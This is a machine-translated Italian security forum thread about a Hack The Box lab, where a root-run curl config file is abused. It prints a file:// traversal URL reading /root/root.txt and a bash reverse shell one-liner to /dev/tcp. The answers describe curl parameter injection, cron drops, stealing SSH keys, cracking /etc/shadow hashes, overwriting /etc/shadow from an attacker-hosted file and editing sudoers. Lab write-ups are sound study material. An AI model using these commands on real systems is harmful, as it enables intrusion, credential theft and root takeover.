Arricciatura a leva per generare un guscio

0

Quindi sto facendo una sfida HTB in cui ho sfruttato l'uso del riquadro obiettivi per leggere un file che imposta un URL per curl per attraversare la directory e visualizzare il flag root in un report che fa parte di l'esercizio.

Contenuto file: url = file:///127.0.0.1/../../../root/root.txt

Tutto bello.

Ciò che voglio fare è sfruttare ulteriormente questo per generare in qualche modo una shell leggendo /bin/bash . Posso leggere la versione alterata di /bin/bash nel file di report, ma non riesco a capire come eseguirlo in un modo che mi darà una shell interattiva.

Che cosa posso fare per raggiungere questo obiettivo?

EDIT:

Posso creare una shell inversa dal mio utente corrente usando bash e il comando di sotto, non posso farla eseguire come mi piacerebbe da "inside" curl.

bash -i >& /dev/tcp/192.168.1.10/8080 0>&1

    
posta Rich C 21.11.2018 - 17:25
fonte

3 risposte

2

A seconda di come viene lanciato curl , potrebbe essere vulnerabile all'iniezione dei parametri. Dal momento che controlli già un parametro (l'URL), potresti essere in grado di utilizzare caratteri come spazi e apostrofi o virgolette per iniettare un parametro -o <file , che causerebbe curl di scrivere il suo output su quel file. Se puoi farlo, ci sono molte opzioni (specialmente dal momento che curl viene eseguito come root), come ad esempio il rilascio di un file crontab con un comando per richiamare il tuo programma in un minuto. Meno probabile che funzioni, ma vale comunque la pena controllare se curl è in esecuzione all'interno di una shell, nel qual caso potresti essere in grado di usare l'iniezione shell (come backtick o $( ) attorno a un comando) per eseguire direttamente un comando arbitrario.

Non c'è modo di leggere un file per causare direttamente l'esecuzione del codice. Tuttavia, potresti provare a leggere i file che potrebbero essere utili per ottenere l'accesso remoto alla scatola. Ad esempio, controllare le chiavi autorizzate SSH e verificare se sulla macchina sono presenti le chiavi private corrispondenti; se è così, rubale e usali su SSH (anche se potresti aver bisogno di rompere una password sulla chiave privata). Potresti anche provare a rubare gli hash delle password da /etc/shadow e crackarli; è un po 'lungo ma forse c'è una password debole su un account che puoi indovinare, e poi usare SSH con password auth. In alternativa, puoi provare a recuperare le credenziali del provider cloud (AWS o simili) e utilizzarle per ottenere il controllo dell'host tramite l'infrastruttura del provider cloud.

    
risposta data 22.11.2018 - 07:27
fonte
0

Nel caso qualcuno sia interessato. Lo script di backend stava leggendo il file contenente l'url come file di configurazione e scrivendo come root, quindi ho cambiato l'url e ho copiato i file etc/shadow etc e creato un nuovo utente, quindi ho letto i file modificati indietro le posizioni originali, quindi sudo in quell'utente e ottieni una shell.

Non ero in grado di liberarmi da solo.

Ho usato il metodo seguente per leggere prima il file /etc/shadow originale e copiare in una posizione che potevo visualizzare, quindi per modificare i file con un nuovo utente e copiare nuovamente.

Il file di input dell'arricciatura proveniente dall'attaccante viene letto da root

url = my_ip:port/edited_shadow

Ho aggiunto questo sotto per la macchina delle vittime

output = /etc/shadow

Questo è approssimativamente quello che ho usato come guida ...

link

Ci sono naturalmente modi più semplici per farlo, scrivere una nuova chiave pubblica, per esempio. Ma volevo provare questo metodo

    
risposta data 23.11.2018 - 00:58
fonte
0

Ho appena completato questa scatola.

È possibile modificare il file sudoers per fornire autorizzazioni sudo all'utente. E poi sudo il comando reverse shell.

    
risposta data 22.01.2019 - 09:52
fonte

Leggi altre domande sui tag